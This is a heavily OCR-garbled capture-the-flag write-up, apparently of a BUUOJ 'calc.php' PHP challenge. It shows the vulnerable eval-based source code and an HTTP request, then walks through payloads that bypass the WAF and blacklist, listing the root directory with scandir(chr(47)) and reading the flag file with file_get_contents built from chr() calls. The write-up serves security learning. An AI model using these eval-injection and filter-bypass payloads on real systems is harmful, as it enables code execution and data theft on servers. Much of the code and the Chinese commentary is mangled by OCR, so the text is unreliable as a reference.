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P <div class="container text-center” style="margin-top:38px;">.</div>
<!--T've set up WAF to ensure security.-->
¥Yescript>
$("#calc').submit(function(){

$.ajax({
url:"calc.php?num="+encodeURIComponent (§({ "#content™).val()}),
type: "GET',

success:function({data){
S("#result").html(" <div class="alert alert-success"»
<strong>E 8 </strong>${data}
<fdive");
I

error:function(){

alert ("M EAEI");
b
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GET /cale. php?nun=1 HTTE/1.1

Host: 823T—edd244e3-1355-42d1-a029-55842a454680. node3. buuo . cn: 25448

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:79.0) Gecko/20100101 Firefox/75.0
Accept: */*

Accept—Language: sh—CHN, zh;q=0.8, sh—TW; g=0. 7, zh-—HE; q=0. 5, en-U3:g=0. 3, en; g=0. 2
Accept—Encoding: gzip, deflate

E-FRequested-With: XMLHttpRequest

Connection: close

Referer: http://8237-edd244e3-1355-42d1-a029-5h842a4b4680. node3. buuoq. en: 25448/
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show_source (__FILE__J;

telsel
$str = 3. GET[ rum 1 i R
Splacklist = [ °, °\, %L AR VT, O Al AT g v A
foreach (3blacklist as 3Fblackitem) |
it  (preg_match(C /" . Fblackitem . ~/m', Fstr)) |
die("what are vou want to do?”);
1
}
evall echo . 3str. )
}
P
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< C OO Yo ST 8237-edd244e3-1355-42d1-a029-5b842a4b4680.node3.buuoj.cn:25448/calc. php ?nums=T;phpinfo() ¥

Forbidden

You don't have permission to access /calc.php on this server.

Apache/2.4.18 (Ubuntu) Server at 8237-edd244e3-1355-42d7-a029-5b6842a4b4680.node3.buuagj.cn Port 25448

we, 403, Nfta. RRKIwaln AN, F—E LUy aTEARS B (.. Eastidle? EASHS Y. EASHE
el RIFRAE IR WA I
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< 0O A Tr 5T 8237-edd244e3-1355-42d1-a029-5b842a4b4680.node3.buuocj.cn: 25448/ calc.php? num=1;phpinfo() F 2 ~
1

System Linux 2e763c5e71a2 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 U7

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc/php/7.0/apache2

Loaded Configuration File Jetc/php/7.0/apache2/php.ini

Scan this dir for additional .ini files Jete/php/7.0/apache2/conf.d

Additional .ini files parsed Jetc/php/7.0/apache2/conf.d/10-mysglnd.ini, fetc/php/7.0/apache2/conf.d/10
Jete/php/7.0/apache2/conf.d/10-pdo.ini, /etc/php/7.0/apache2/conf.d/20-cale

8.2 % phpinfoll I th 5t A& — Fallow_url..., H— F4xt 4, & — T open_basedirfildisable_functions¥i 7t | F A~
F. HEE-HEKH, 454 disable_functions’k I, scandir()k HnT LA -

PHP scandir() R%4

l’ PHP Directory 2=
=51
FIH images HEPHGIIER:

<?php
¢dir = "/images/";

/f Sort in ascending order - this is default
%a = scandir($dir);

/'l Sart in descandine narder
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$b = 5candif‘{$dir‘;1);

print_r(%a);
print_r($b);
>

==

Array

(

[8] => .

[1] => ..

[2] => cat.gif
[3] => dog.gif
[4] => horse.gif
[5] => myimages
)

Array
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< C ') M T N -edd244e3-1355-42d1-a029-5b842a4b4680.node3.buuoj.cn:25448/calcphp? num=T1;scandir(chr(47)) ¥

10X ZIRBAR B F FHCHME R, BREMABERER? FHAEREFZHALR, EphpR RAIAGEEER WL,
L H var_dumpsl# print_r. X BN & ECER AT LA flagdT ED K, print_rfilvar_dump#B g i th B AT R, {H print_rif A
IR R A KA s var_dumpdii th e g, — R ARZ .

< O 0 | Yo mEEET Sefc0-622a-4f63-9cbd-aba7629683ed.node3.buuoj.cn:29155/calc.php? num=print r(scandir(chr(47))) ¥ 2 -

Array ([0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flagg [8] => home [9] => lib [10] => lib€
=> root [16] => run [17] => shin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var) 1

MIZFESR THMagg, WEHET . KM CHHNEH €2 ZHfile_get contents T . Aidix B 5 % fasciifC & .

< O Q [I] Yo ST .cn:29155/calc.php? num=print r(file_get contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

flag{bd06a68e-5de1-4c5b-8e65-4571c8cb6b51} 1
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